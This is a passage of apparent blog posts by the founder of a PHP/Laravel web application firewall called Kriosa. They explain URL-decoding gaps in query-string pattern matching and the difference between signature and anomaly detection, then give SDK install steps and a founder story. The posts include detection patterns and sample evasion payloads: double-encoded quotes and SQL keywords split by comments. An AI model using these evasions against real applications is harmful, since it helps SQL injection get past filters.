foreach ($suspicious as $pattern) {
    if (strpos($query, $pattern) !== false) {
        error_log("SUSPICIOUS REQUEST: " . $_SERVER['REMOTE_ADDR']);
    }
}

Three passes maximum. The loop stops earlier if the string stops changing. This handles single and double encoding which covers the vast majority of real-world evasion attempts without opening an infinite loop vulnerability. This fixes a detection blind spot. It does not fix SQL injection itself that requires parameterized queries at the application layer.

But It Goes Deeper: Double Encoding

Sophisticated attackers know about urldecode(). So they encode twice.

A single-encoded payload:

%27  →  urldecode()  →  '  ✓ detected

A double-encoded payload:

%2527  →  urldecode()  →  %27  →  still encoded, not detected

The %25 is the URL encoding for the % character itself. So %2527 decodes to %27 which is still encoded. Your single urldecode() call produces %27, your pattern matching looks for ', they never match.
Running urldecode() twice helps in some cases. But be careful repeated decoding without understanding your full request stack can cause unexpected behavior. Know where decoding already happens in your framework before adding more layers. PHP frameworks like Laravel may already decode input at certain points in the request lifecycle.

Why Pattern Matching Has Limits

Even with proper URL decoding, pattern matching has a fundamental weakness: it only catches what you know to look for.

Attackers constantly develop new payloads specifically designed to bypass known patterns. They use alternative syntax. They use database-specific encoding. They use comments to break up keywords:

SE/*comment*/LECT * FR/*comment*/OM users

Your pattern matching looks for select. It never appears as a contiguous string. The check may pass. Whether the attack succeeds depends on how the application processes the input afterward.

This is the core limitation of signature-based detection: it catches known bad patterns. It misses unknown ones.

What Actually Works: Behavioral Detection

A developer who commented on my last article made a point worth examining carefully:

Response size changes can be a valuable behavioral signal. A 200 response returning 9kb where 512 bytes is normally expected may indicate unusual behavior and deserves investigation.

He is right. This points to a completely different detection approach: anomaly detection.

Instead of asking “does this request contain a known bad pattern?” anomaly detection asks “does this request behave abnormally compared to what we normally see?”

A response significantly larger than normal for that endpoint is worth investigating regardless of what the payload looked like. That said, larger responses can have legitimate causes too. The signal is most useful when combined with other indicators, not treated as conclusive on its own.

Anomaly detection adds a layer that signature matching alone cannot provide it examines behavior over time, not just individual request patterns.

The Two Approaches Combined

The strongest security systems use both:

Signature detection catches known attack patterns quickly and cheaply. Good for stopping automated scanners running common payloads.

Anomaly detection can help identify unusual activity and attacks that do not match known signatures. Good for examining behavior patterns that signature matching alone would miss.

Neither is sufficient alone. Together they cover the gaps the other leaves open.

This is the type of gap behavioral analysis is designed to help identify by looking beyond individual patterns and examining how activity behaves over time.

This is the direction behind Kriosa’s approach combining rule-based detection with behavioral analysis and explainable security insights. Not relying on one technique alone, but layering them so each covers what the other misses.

The Practical Takeaway

If you are writing your own PHP security checks:

Know your input source understand the difference between $_GET and $_SERVER['QUERY_STRING'] and what each contains before you inspect it. Normalize before matching use the capped decode loop shown above, not a single urldecode() call. Single decoding misses double-encoded payloads.

// Cap decode passes to prevent decode bomb attacks
$query = $_SERVER['QUERY_STRING'] ?? '';
$maxPasses = 3;
$i = 0;
$previous = null;

while ($previous !== $query && $i < $maxPasses) {
    $previous = $query;
    $query = urldecode($query);
    $i++;
}

$query = strtolower($query);

Watch for behavioral signals response sizes significantly larger than normal for a given endpoint are worth investigating alongside other indicators.

Understand the fundamental limit: manual pattern matching is a starting point, not a complete security strategy. It catches careless automated attacks. It struggles against careful targeted ones.

And remember: the best security strategy is layered prevent vulnerabilities where possible, detect suspicious activity when prevention fails, and continuously improve based on what you learn.

A Note on How This Article Happened

This article exists because a developer read my previous article carefully enough to find a real gap in the code and said so publicly. That kind of technical engagement is rare and genuinely valuable.

The best security knowledge comes from exactly this kind of exchange someone pushing on the detail, finding the weakness, and making the conversation better.

If you find something wrong in this article, say so in the comments. That is how this gets better.

Try Kriosa free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.
Sleep better we're awake.

Built an AI-Powered WAF for PHP/Laravel Apps in Africa — Here’s What It Catches

Nchiminyi — Founder, Kriosa — Sat, 04 Jul 2026 20:09:27 +0000

Originally published on Medium

A student developer from Cameroon built a security tool that explains exactly why it blocked a request. Here’s the story and how to install it in 30 seconds.

Press enter or click to view image in full size
As a PHP developer in Africa, you already know the problem: your apps get hit by automated bots, SQL injection attempts, and XSS attacks every single day — and most security tools built to stop them are either too expensive, too complex, or built by people who have never touched an African server in their life.

I built Kriosa to fix that.

What is Kriosa?

Kriosa is an AI-powered Web Application Firewall for PHP and Laravel apps. It uses a hybrid Machine Learning engine — combining Random Forest and Neural Networks — to detect and block threats before they reach your application. But the part that makes it different from every other WAF is the Explainable AI dashboard.

Most WAFs are a black box. They block a request and tell you nothing. Kriosa tells you exactly why it blocked it — which features of the request triggered the ML model, what the confidence score was, and what attack pattern it matched. As a developer, that means you are not just protected — you understand what happened.

What it catches:

SQL Injection attempts
Cross-Site Scripting (XSS)
Path Traversal attacks
Malicious bot detection
Rate limiting abuse
And 25+ other attack vectors
Install it in 30 seconds:
For Laravel:

//Step 1 — Install via Composer
composer require kriosa-ai/kriosa-php

//Step 2 — Add to your .env file
KRIOSA_API_KEY=sk_your_api_key_here
KRIOSA_TIMEOUT=5
KRIOSA_DEBUG=false
KRIOSA_BADGE=true

//Step 3 — Create config/kriosa.php
// config/kriosa.php
return [
    'api_key' => env('KRIOSA_API_KEY'),
    'timeout' => env('KRIOSA_TIMEOUT', 5),
    'debug'   => env('KRIOSA_DEBUG', false),
];

//Step 4 — Create the Middleware
// app/Http/Middleware/KriosaSecurity.php

use Closure;
use Kriosa;
use Illuminate\Http\Request;

class KriosaSecurity
{
    public function handle(Request $request, Closure $next)
    {
        $apiKey = config('kriosa.api_key');

        // Skip if no API key configured
        if (!$apiKey) {
            return $next($request);
        }

        try {
            $kriosa = new Kriosa($apiKey, [
                'timeout' => config('kriosa.timeout', 5),
                'debug'   => config('kriosa.debug', false),
            ]);

            if (!$kriosa->protect()) {
                return response('Access denied', 403);
            }

        } catch (\Exception $e) {
            // Fail open — don't block users if Kriosa is unreachable
            report($e);
        }

        return $next($request);
    }
}

//Step 5 — Register the Middleware
// app/Http/Kernel.php

protected $middleware = [
    // ... existing middleware
    \App\Http\Middleware\KriosaSecurity::class,
];

// OR apply to specific routes only:

// routes/web.php
Route::middleware(['kriosa'])->group(function () {
    Route::get('/dashboard', [DashboardController::class, 'index']);
});

Then add the middleware to your app/Http/Middleware/KriosaMiddleware.php:

For PHP

Or Download and use the SDK

//Step 1 — Install via Composer
composer require kriosa-ai/kriosa-php

//or download kriosa.php

<?php
// Add this to your index.php or front controller
require_once __DIR__ . '/kriosa.php'; // for downloaded 
require_once 'vendor/autoload.php'; // for composer install

//KTIOSA_API_KEY FROM YOUR .ENV FILE

$apiKey = getenv('KRIOSA_API_KEY') ?: 'YOUR_API_KEY_HERE';

try {
    $kriosa = new Kriosa($apiKey, [
        'timeout'     => 3,
        'debug'       => false,
        'fail_closed' => false,
        'show_badge'  => true,
    ]);

    if (!$kriosa->protect()) {
        header('X-Kriosa-Blocked: true');
        http_response_code(403);
        exit('Access Denied');
    }
} catch (Exception $e) {
    error_log('Kriosa Security Error: ' . $e->getMessage());
}

// Your application continues safely here...

That’s it. Your app is now protected by an AI layer that watches every incoming request.

Why I built this

I am a final-year computer science student at the University of Bamenda, Cameroon. I watched developers around me get their client sites hacked with no affordable way to understand what happened or prevent it from happening again. Enterprise WAFs like Cloudflare cost hundreds of dollars a month. Sucuri is built for a completely different context. Nothing existed for the PHP developer in Africa building real products for real clients on a real budget.

So I built it myself a hybrid ML engine, a 25+ attack, and an XAI dashboard that makes security understandable, not just automated.

It is free to start.

The Starter tier is free. No credit card. No enterprise contract. Just install the SDK, connect your app, and open the dashboard.

If you build PHP or Laravel apps and you have ever had a client site get hacked — or you are terrified of it happening — Kriosa is built specifically for you.

Try it today: kriosa.com
Install it: composer require kriosa-ai/kriosa-php
Full docs: kriosa.com/documentation.php

Built by a developer from Cameroon, for developers across Africa and beyond. If you have questions, drop them in the comments — I read everything.

Why I built a security tool for PHP developers in Africa

Nchiminyi — Founder, Kriosa — Wed, 01 Jul 2026 09:01:58 +0000

I'm Nchiminyi, a PHP/Laravel developer from Cameroon.
A few months ago I watched a developer I know spend 3 days trying to figure out why his client's Laravel site got hacked. No tools. No logs that made sense. No affordable WAF built for his context.
That bothered me enough to build something.
I spent the last few months building a security middleware for PHP apps. The part I'm most proud of is not the threat detection — it's that it explains exactly why a request was blocked, not just that it was blocked. Most WAFs are a black box. This one isn't.
Still early days.
If you build PHP or Laravel apps, I'd love to know — what's your current security setup? Do you even have one?